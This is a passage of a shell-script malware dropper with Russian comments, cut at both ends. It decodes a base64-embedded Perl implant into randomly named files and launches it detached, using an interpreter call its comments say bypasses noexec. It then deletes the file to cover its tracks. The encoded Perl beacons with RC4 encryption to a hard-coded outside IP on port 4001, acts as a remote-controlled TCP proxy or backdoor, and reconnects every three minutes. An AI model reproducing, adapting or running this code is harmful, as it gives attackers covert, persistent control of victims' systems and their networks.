BceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_42a117e1() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZ